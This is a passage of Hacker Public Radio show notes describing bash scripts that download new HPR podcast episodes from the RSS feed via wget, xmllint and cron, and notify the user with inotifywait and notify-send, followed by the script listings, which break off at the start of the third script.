There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes. </p>

<p>
Apparently some people have been experiencing problems with the way the episode URLs are structured. </p>

<p>

</p>

<p>
04</p>

<p>
I am afraid that I don't fully understand the nature of these problems, so I won't  be addressing that problem directly.</p>

<p>
Instead, I will present a bash script that I have written which can be used to download HPR podcasts.</p>

<p>
This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.</p>

<p>
This is a simplified version of a script that I have used for years to download HPR and other podcasts.</p>

<p>

</p>

<p>
05</p>

<p>
I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.</p>

<p>
I will instead describe what each section does and why I chose to do things that way.</p>

<p>
Perhaps other people can offer suggestions of better ways to do things.</p>

<p>
I will post the full bash script in the show notes.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
06 Fetching Podcasts</p>

<p>

</p>

<p>
The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.</p>

<p>
RSS is a very long established and widely supported mechanism for this and other purposes.</p>

<p>
An RSS feed is basically an XML document which can be accessed over HTTP.</p>

<p>
These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.</p>

<p>

</p>

<p>
07</p>

<p>
Basically what we need to do is the following</p>

<p>

</p>

<p>
• Download the RSS XML document.</p>

<p>
• Extract the URL links to the audio files.</p>

<p>
• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.</p>

<p>

</p>

<p>
08</p>

<p>
• Make a list of the new URLs.</p>

<p>
• Go through this list of new URLs and download each of the new audio files.</p>

<p>
• Check to see that we actually received the new audio file.</p>

<p>
• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs</p>

<p>

</p>

<p>
09</p>

<p>
In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.</p>

<p>
We may wish to receive a notification of when a new podcast has arrived however.</p>

<p>
We would probably also wish to receive notification of any errors or failures.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
10 Fetching Podcasts - The Preliminaries</p>

<p>

</p>

<p>
Our desire to be able to run the script automatically imposes some requirements on our solution.</p>

<p>
To schedule the script we will use cron.</p>

<p>
Cron is a Linux facility to run scripts on a schedule.</p>

<p>

</p>

<p>
11</p>

<p>
One of the side effects of using cron however is  that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.</p>

<p>

</p>

<p>
12</p>

<p>
So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.</p>

<p>

</p>

<p>
I will skip over the details of these, although I may make reference to them later.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
13 Get the RSS Data</p>

<p>

</p>

<p>
The first thing of real substance to do is to fetch the current RSS feed data.</p>

<p>
I have put this in a bash function called getrssurldata</p>

<p>

</p>

<p>
The contents of this function are a one liner, but with a number of elements chained together through pipes.</p>

<p>

</p>

<p>
14 Downloading the RSS XML Document</p>

<p>
• First we use wget, which is a standard command on most Linux distros.</p>

<p>
• We specify four things.</p>

<p>
• First we set a timeout. I have chosen 20 seconds.</p>

<p>
• Next we set the retry limit. I have chosen 3.</p>

<p>

</p>

<p>
15</p>

<p>
• Then we specify that the output of wget is sent to stdout rather than saved as a file.</p>

<p>
• This is done by using the -O option followed by a space and then a dash.</p>

<p>
• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.</p>

<p>
• Then we specify the URL of the HPR RSS feed.</p>

<p>

</p>

<p>
16 Contents of the XML Document</p>

<p>
This gives us the HPR RSS XML document. </p>

<p>
There are about 5,000 lines in this RSS document.</p>

<p>
Most of those lines are the show notes which are also included in the feed.</p>

<p>

</p>

<p>
17 Extracting the Podcast Episode URLs</p>

<p>
There are only 10 lines of the document that contain information that we are interested in however.</p>

<p>
These lines are enclosed in "enclosure" XML tags. </p>

<p>
We just need to find those lines and separate out the URLs</p>

<p>

</p>

<p>
18 Standard Command Line Tools</p>

<p>
There are two ways that we can do this.</p>

<p>
One is to use a combination of grep, sed, and cut.</p>

<p>
Grep can find the lines containing the enclosure tags.</p>

<p>
Sed and cut can extract the URL from the surrounding extraneous data. </p>

<p>

</p>

<p>
19</p>

<p>
However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.</p>

<p>
This may be an acceptable problem in practical terms, but we can do better.</p>

<p>

</p>

<p>
20 Using an XML Parser</p>

<p>
The other method is to actually parse the XML document.</p>

<p>
there are at least two command line XML parsers that I am aware of.</p>

<p>
These are "xmllint", and "xlmstarlet".</p>

<p>
I have used xmllint in this example.</p>

<p>
I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.</p>

<p>

</p>

<p>
21</p>

<p>
I won't give a detailed explanation of all the things that xmllint can do.</p>

<p>
It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.</p>

<p>
Describing everything it can do would be at least one episode in itself. </p>

<p>
I will instead just give the particular command used and explain each element of it.</p>

<p>

</p>

<p>
22</p>

<p>
In this example assume that we are piping the output of wget directly into xmllint.</p>

<p>
The complete command is</p>

<p>

</p>

<p>
xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2</p>

<p>

</p>

<p>
23</p>

<p>
In this example,</p>

<p>
xmllint is the name of the command.</p>

<p>
--xpath tells it to parse the document according to the string which follows.</p>

<p>
"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.</p>

<p>
The "-" which follows tells it to look for input from stdin rather than from a file.</p>

<p>

</p>

<p>
24</p>

<p>
The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.</p>

<p>
To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.</p>

<p>
We then save the result in a temporary file.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
25 Finding the New Episodes</p>

<p>

</p>

<p>
Next we wish to find the new podcast episodes.</p>

<p>
Each HPR episode is identified by a unique URL.</p>

<p>
This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.</p>

<p>

</p>

<p>
https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3</p>

<p>

</p>

<p>
26</p>

<p>
The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.</p>

<p>

</p>

<p>
27</p>

<p>
This is simple, but has a drawback.</p>

<p>
Some podcasts occasionally change distributors.</p>

<p>
When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.</p>

<p>

</p>

<p>
28</p>

<p>
With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.</p>

<p>

</p>

<p>
I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.</p>

<p>
Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.</p>

<p>
It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
29 Downloading the New Podcasts</p>

<p>

</p>

<p>
We should now have a list of URLs for the new podcasts we do not already have. </p>

<p>
Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.</p>

<p>

</p>

<p>
Therefore, we need to iterate through the file of new podcast URLs and download each one.</p>

<p>

</p>

<p>
30</p>

<p>
Before we do that however, we should check to see if there is in fact anything new to download.</p>

<p>
To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.</p>

<p>

</p>

<p>
31</p>

<p>
If this number is zero, there is nothing to download, we can skip the download step. </p>

<p>
As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.</p>

<p>
This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.</p>

<p>
If we do exceed our download limit, then we need to log an error and skip downloading. </p>

<p>

</p>

<p>
32</p>

<p>
Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.</p>

<p>
We can do that using the "basename" command.</p>

<p>
We will use this to specify the name that we use when we save the audio file. </p>

<p>

</p>

<p>
33</p>

<p>
HPR has a very well formed file name. </p>

<p>
Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp. </p>

<p>

</p>

<p>
34</p>

<p>
Next we download the audio file using wget.</p>

<p>

</p>

<p>
This is similar to how we downloaded the RSS feed, but with a few changes.</p>

<p>
One is that I have increased the timeout to 90 seconds. </p>

<p>
This may not have been necessary, but seemed like a good idea.</p>

<p>

</p>

<p>
35</p>

<p>
The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.</p>

<p>

</p>

<p>
The third is that we specify a destination directory using the -P option. </p>

<p>

</p>

<p>
36</p>

<p>
After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.</p>

<p>
We did this using an "if" statement with the "-s" option.</p>

<p>

</p>

<p>
If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.</p>

<p>

</p>

<p>
37</p>

<p>
If the file was not present, or was zero length, we output an error message to an error log. </p>

<p>
I will come back to this point later.</p>

<p>

</p>

<p>
38</p>

<p>
Next, if there is more that one podcast to download we sleep for 3 seconds. </p>

<p>
While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..</p>

<p>

</p>

<p>
39</p>

<p>
After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.</p>

<p>
While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.</p>

<p>
This limit should be several times bigger than the number of files in the RSS feed. </p>

<p>
In this case I selected 50. </p>

<p>

</p>

<p>
40</p>

<p>
Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.</p>

<p>

</p>

<p>
We have now successfully downloaded at least one HPR podcast.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
41 Notify the User of Events</p>

<p>

</p>

<p>
It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.</p>

<p>

</p>

<p>
One of the limitations of cron jobs is that they cannot access the user interface.</p>

<p>
This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.</p>

<p>

</p>

<p>
42 inotifywait</p>

<p>
The solution to this is to use "inotifywait" to monitor particular files and directories for changes.</p>

<p>

</p>

<p>
The man page for inotifywait states the following - </p>

<p>

</p>

<p>
43</p>

<p>
inotifywait  efficiently  waits for changes to files using Linux's inotify(7) interface.  It is suitable for waiting  for  changes  to  files from  shell  scripts.  It can either exit once an event occurs, or continually execute and output events as they occur.</p>

<p>

</p>

<p>
End of quote.</p>

<p>

</p>

<p>
44</p>

<p>
In many Linux distros, inotifywait is provided by the "inotify-tools" package.</p>

<p>

</p>

<p>
I won't go over all the features of inotifywait. </p>

<p>
Instead, I will just describe how to use it for our purposes here.</p>

<p>

</p>

<p>
45 inotifywait Modes</p>

<p>

</p>

<p>
I should point out first though that inotifywait operates in two different modes.</p>

<p>
In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.</p>

<p>
In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.</p>

<p>
I will use the default mode here.</p>

<p>

</p>

<p>
46</p>

<p>
The man page for inotifywait provides a simple example that we could copy and modify for our purposes.</p>

<p>
A great many examples that you  will find are based on this example.</p>

<p>
However, it doesn't quite do what we want, so we need to change a few things.</p>

<p>

</p>

<p>
47 podfetchnotify</p>

<p>
The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.</p>

<p>
I will call this "podfetchnotify".</p>

<p>
The complete scripts are in the show notes, I will just provide a brief description here.</p>

<p>

</p>

<p>
48 Setting Up Event Watches Using  inotifywait</p>

<p>
The script is enclosed in a while loop which run indefinitely.</p>

<p>
In the first line inside the while loop, we call inotifywait.</p>

<p>
inotifywait will then block until the event it is told to look for occurs.</p>

<p>
In short, execution of the script will wait there until an event occurs.</p>

<p>

</p>

<p>
49</p>

<p>
The names of the events are listed in the man file.</p>

<p>
In this case we are looking for "modify", "create", and "moved_to".</p>

<p>
Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.</p>

<p>

</p>

<p>
50 Problems When Testing Using Text Editors</p>

<p>
I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would. </p>

<p>
Instead it treats this as a new file with the same name, with the original file being erased.</p>

<p>
Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.</p>

<p>
If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.</p>

<p>

</p>

<p>
51 Capturing Output</p>

<p>
In my example I capture the output from standard out into a variable, but I don't do anything with it.</p>

<p>
If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code. </p>

<p>
There are details about this in the man page.</p>

<p>

</p>

<p>
On the next line we capture the exit code using "$?"</p>

<p>

</p>

<p>
52 Responding to Exit Codes</p>

<p>
If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.</p>

<p>
In this case we display a message indicating that a new podcast has arrived.</p>

<p>
I will describe how to send notifications shortly. </p>

<p>

</p>

<p>
If the exit code was not zero, then an error occurred.</p>

<p>
An example of such an error would be if the directory were not present when monitoring was started.</p>

<p>
In this case we display a message indicating that a fatal error has occurred and then exit.</p>

<p>

</p>

<p>
53 Delay for More Podcasts</p>

<p>
Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.</p>

<p>
In this case I chose to wait for 60 seconds.</p>

<p>

</p>

<p>
54</p>

<p>
We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.</p>

<p>

</p>

<p>
55 Sending Notifications to the User</p>

<p>
I mentioned above about sending notification messages to the user.</p>

<p>
In the Gnome desktop, notification messages appear from the centre of the top bar in a list.</p>

<p>
Other desktops or operating systems may have something similar.</p>

<p>

</p>

<p>
56</p>

<p>
To send a notification message to the notification area, you use the "notify-send" command.</p>

<p>
Simply follow notify-send with a quoted string and it will be displayed in the notification area. </p>

<p>

</p>

<p>

</p>

<p>
57 podfetcherrornotify</p>

<p>
The second shell script is one which notifies the user of errors.</p>

<p>
I will call this "podfetcherrornotify".</p>

<p>
With this shell script we set up a watch on a file which contains any error messages from podfetch.</p>

<p>
This script is very similar to podfetchnotify.</p>

<p>

</p>

<p>
58</p>

<p>
The exceptions are</p>

<p>
With inotifywait we only monitor for "modify".</p>

<p>
There is no sleep command at the end of the loop.</p>

<p>
Instead we sleep for a few seconds just after getting the exit code from inotifywait.</p>

<p>
This helps prevent problems caused by race conditions.</p>

<p>

</p>

<p>
59</p>

<p>
Next we check the inotifywait exit code.</p>

<p>
If it was zero, then we read the error report file and send a notification message to the user containing that error message.</p>

<p>

</p>

<p>
60</p>

<p>
If it was not zero, then we check to make sure that the directory that should contain the error log exists.</p>

<p>
If it does not exist, then we send a notification message to that effect to the user and terminate the script.</p>

<p>

</p>

<p>
61</p>

<p>
If the directory exists, then we check to see if the error message file used for signalling exists.</p>

<p>
If the file does not exist, then we create it.</p>

<p>

</p>

<p>
62</p>

<p>
One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.</p>

<p>
By creating the file we correct the cause of the error and allow  inotifywait to operate normally.</p>

<p>

</p>

<p>
63</p>

<p>
Finally we increment an error counter and check to see if the limit is exceeded.</p>

<p>
If there are excessive errors, then send a notification message to the user and exit.</p>

<p>
The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.</p>

<p>

</p>

<p>
64</p>

<p>
The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.</p>

<p>
Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
65 Installing the Scripts</p>

<p>

</p>

<p>
Next I will describe how to install and prepare the scripts to run.</p>

<p>
We need to perform the following steps.</p>

<p>

</p>

<p>
66</p>

<p>
• First, we need to create a directory to hold the scripts and their associated data files.</p>

<p>
• Next we need to create a directory to hold the downloaded podcasts.</p>

<p>
• Then we must copy the scripts to these directories and make them executable. </p>

<p>
• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.</p>

<p>

</p>

<p>
67</p>

<p>
• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.</p>

<p>
• Then we need to run each script manually from the command line to check for errors.</p>

<p>
• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.</p>

<p>

</p>

<p>
68 Adding podfetch to the Crontab</p>

<p>
The above describes how to run the scripts manually.</p>

<p>
In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.</p>

<p>
To do this, open a terminal.</p>

<p>

</p>

<p>
69</p>

<p>
Type "crontab -e", and then press return.</p>

<p>
A text editor should open up containing the crontab file.</p>

<p>
On Ubuntu, this editor is GNU nano.</p>

<p>
Enter the appropriate cron parameters.</p>

<p>
I will provide an example here for running it 12 minutes past the hour every three hours.</p>

<p>

</p>

<p>
70</p>

<p>
12 */3 * * *  /home/username/pathtofiles/podfetch.sh</p>

<p>

</p>

<p>
71</p>

<p>
I won't explain cron in detail here.</p>

<p>
The example that I have just given should be good enough for most people.</p>

<p>
The "*/3" parameter will cause it to run every three hours.</p>

<p>
The "12" parameter will cause it to run 12 minutes past the hour when it does run.</p>

<p>

</p>

<p>
72</p>

<p>
Checking every three hours should be good enough for most people, but you can adjust that as you see fit.</p>

<p>
I would recommend however that you don't check more frequently than once per hour.</p>

<p>
Checking more frequently than necessary puts extra load on the distribution servers. </p>

<p>
It is very unlikely that you really do need each new episode the moment it is available. </p>

<p>

</p>

<p>
73</p>

<p>
I would also recommend changing the "12" parameter to some other random minute value.</p>

<p>
I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.</p>

<p>

</p>

<p>
74</p>

<p>
The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.</p>

<p>

</p>

<p>
75 Making the Notification Scripts Start Automatically</p>

<p>
The two notification scripts can be made to start automatically.</p>

<p>
The exact method to do this may vary according to distribution or desktop.</p>

<p>

</p>

<p>
76</p>

<p>
On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.</p>

<p>

</p>

<p>
77</p>

<p>
I won't go into details on this here, it should be fairly self evident how to use it once you see it.</p>

<p>
What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.</p>

<p>

</p>

<p>
78</p>

<p>
These ".desktop" files are all run automatically on start up.</p>

<p>
Once you have added the notification scripts, you will need to log out and then log back in to make them active.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
79 Conclusion</p>

<p>

</p>

<p>
I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival. </p>

<p>

</p>

<p>
80</p>

<p>
The download script described here is tailored specifically for use with HPR only.</p>

<p>
However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.</p>

<p>
If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.</p>

<p>

</p>

<p>
81</p>

<p>
In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.</p>

<p>

</p>

<p>
I look forward to seeing you again later on another episode of Hack Public Radio.</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
podfetchdownloader</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Fetch pending HPR podcasts listed in the HPR RSS feed.</p>

<p>
# 8-Jun-2026</p>

<p>
# Licensed under GPLv3 or later.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Today's date and time as YYYYMMDDHHMMSS. </p>

<p>
podttimestamp=$( date +"%Y%m%d%H%M%S" )</p>

<p>

</p>

<p>
# The absolute path to the script. This is necessary when running it</p>

<p>
# using a cron job.</p>

<p>
podpath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# This is the absolute path to where to store the podcast files.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# Create the full path names here for all the text files used.</p>

<p>
podcastsfetched="$podpath/podcastsfetched.txt"</p>

<p>
poderrorslog="$podpath/poderrorslog.txt"</p>

<p>
poderrorsreport="$podpath/poderrorsreport.txt"</p>

<p>

</p>

<p>
tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"</p>

<p>
tmppodsnew="$podpath/tmppodsnew.txt" </p>

<p>
tmppodstodownload="$podpath/tmppodstodownload.txt" </p>

<p>
tmppodserrors="$podpath/tmppodserrors.txt" </p>

<p>
tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"</p>

<p>
tmplog="$podpath/tmplog.txt"</p>

<p>

</p>

<p>
# The URL for the HPR RSS feed.</p>

<p>
PodURL="http://hackerpublicradio.org/hpr_rss.php"</p>

<p>

</p>

<p>
# Limit on number of podcasts to download.</p>

<p>
DownloadLimit=11</p>

<p>

</p>

<p>
# Name of the podcast.</p>

<p>
PodName="Hacker Public Radio"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the required paths exist.</p>

<p>
# If this path does not exist, cannot log the error.</p>

<p>
if [[ ! -d "$podpath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath."</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# Where to store the podcast file fetched.</p>

<p>
if [[ ! -d "$podfilepath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath." &gt;&gt; $tmppodserrors</p>

<p>
	# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
	LogErrors</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the podcast log exists. We read it before we write to it,</p>

<p>
# so it must exist or we will hang on it not being present.</p>

<p>
if [[ ! -e $podcastsfetched ]]; then</p>

<p>
	touch $podcastsfetched</p>

<p>
fi</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Delete the specified files if they exist.</p>

<p>
# This accepts multiple file names in a variable number of parameters.</p>

<p>
CleanupFiles ()</p>

<p>
{</p>

<p>
	# $@ accepts multiple parameters.</p>

<p>
	for f in "$@"; do</p>

<p>
		# Check if the file exists.</p>

<p>
		if [ -e "$f" ]; then</p>

<p>
			rm "$f"</p>

<p>
		fi</p>

<p>
	done</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors () {</p>

<p>
	if [ -e $tmppodserrors ]; then</p>

<p>
		# The permanent log.</p>

<p>
		cat $tmppodserrors &gt;&gt; $poderrorslog</p>

<p>
		# This file is monitored for display by other scripts.</p>

<p>
		cat $tmppodserrors &gt; $poderrorsreport</p>

<p>
	fi</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Get the URL data from an RSS feed</p>

<p>
GetRSSURLData () {</p>

<p>

</p>

<p>
	wget --timeout=20 --tries=3 -O - "$PodURL" \</p>

<p>
	| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \</p>

<p>
	| sort &gt; $tmppodsnew</p>

<p>

</p>

<p>
	# This is an alternate method that does not use xmllint.</p>

<p>
	# However, it is not as robust. If someone were to include the</p>

<p>
	# first grep search pattern in their show notes, then it would</p>

<p>
	# look for that as a valid tag and output the following text</p>

<p>
	# as a URL.</p>

<p>
	#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "&lt;enclosure url=" \</p>

<p>
	#	| sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \</p>

<p>
	#	| cut -d'"' -f2 | sort &gt; $tmppodsnew</p>

<p>

</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Find which podcasts we do not already have.</p>

<p>
FindNewPodcasts () {</p>

<p>

</p>

<p>

</p>

<p>
	cat $podcastsfetched | sort &gt; $tmpoldurlssorted</p>

<p>
	comm -13 $tmpoldurlssorted $tmppodsnew &gt; $tmppodstodownload</p>

<p>

</p>

<p>
	rm $tmpoldurlssorted</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Download the podcasts.</p>

<p>
DownloadPodcasts() {</p>

<p>

</p>

<p>
	# Clear out previous temporary list of downloaded podcasts.</p>

<p>
	true &gt; $tmppodcastsfetched</p>

<p>

</p>

<p>

</p>

<p>
	for i in $( cat $tmppodstodownload )</p>

<p>
	do</p>

<p>

</p>

<p>
		# Extract the file name from the URL.</p>

<p>
		fname=$( basename $i )</p>

<p>
		outputpodname="$podfilepath/$fname"</p>

<p>

</p>

<p>
		# Download the file.</p>

<p>
		wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"</p>

<p>

</p>

<p>
		# Check if the file exists and is not empty.</p>

<p>
		if [[ -s "$outputpodname" ]]; then</p>

<p>
			echo $i &gt;&gt; $tmppodcastsfetched</p>

<p>
		else</p>

<p>
			echo "$podttimestamp Error - $outputpodname was not found or is empty." &gt;&gt; $tmppodserrors</p>

<p>
		fi</p>

<p>

</p>

<p>

</p>

<p>
		# Delay a reasonable length of time between multiple downloads.</p>

<p>
		if (( $PodCount &gt; 1 )); then </p>

<p>
			sleep 3</p>

<p>
		fi</p>

<p>

</p>

<p>
	done</p>

<p>

</p>

<p>
	# Add the list of files downloaded to the log.</p>

<p>
	# Check if the list exists and is not empty.</p>

<p>
	if [ -s $tmppodcastsfetched ]; then</p>

<p>
		cat $tmppodcastsfetched &gt;&gt; $podcastsfetched</p>

<p>
		# Trim the log file to keep it from growing indefinitely.</p>

<p>
		tail -n50 $podcastsfetched &gt; $tmplog</p>

<p>
		mv $tmplog $podcastsfetched</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Remove the tmp file now that we are done with it.</p>

<p>
	rm $tmppodcastsfetched</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Clean up any left over files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>

</p>

<p>
# Get the RSS data.</p>

<p>
GetRSSURLData</p>

<p>

</p>

<p>
# Find which podcasts are new.</p>

<p>
FindNewPodcasts</p>

<p>

</p>

<p>
# Count how many new podcasts there are.</p>

<p>
PodCount=$( cat $tmppodstodownload | wc -l )</p>

<p>

</p>

<p>

</p>

<p>
# If no podcasts to download, skip this.</p>

<p>
# If too many podcasts for this feed, then log an error and skip.</p>

<p>
# This error will keep repeating until something is done about it.</p>

<p>
if (( $PodCount &gt; 0 )); then </p>

<p>
	if (( $PodCount &gt; $DownloadLimit )); then </p>

<p>
		echo "$podttimestamp Too many podcasts for $PodName : $PodCount." &gt;&gt; $tmppodserrors		</p>

<p>
	else</p>

<p>
		# Download the podcasts listed in the temp file.</p>

<p>
		DownloadPodcasts</p>

<p>
	fi</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors</p>

<p>

</p>

<p>
# Clean up temp files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF FIRST SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>
podfetchnotify</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors for new files appearing in the new podcasts directory.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Path where new podcasts are to be stored.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Wait for the podcast directory to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	# Check for new files.</p>

<p>
	errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )</p>

<p>
	result=$?</p>

<p>

</p>

<p>

</p>

<p>
	# Check if exited due to new podcast, or if some error.</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Success, signal new podcast.</p>

<p>
		notify-send "New HPR podcast available."</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		# If it doesn't exist, there isn't much we can do to fix it.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: Podcast directory not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Wait a bit so that multiple new files don't keep re-triggering the notification.</p>

<p>
	sleep 60</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF THIRD SHELL SCRIPT</p>

<p>

</p>

<p>
podfetcherror</p>

<p>
Created Tuesday 23 June 2026</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors the Podfetch error reporting file for new errors.</p>
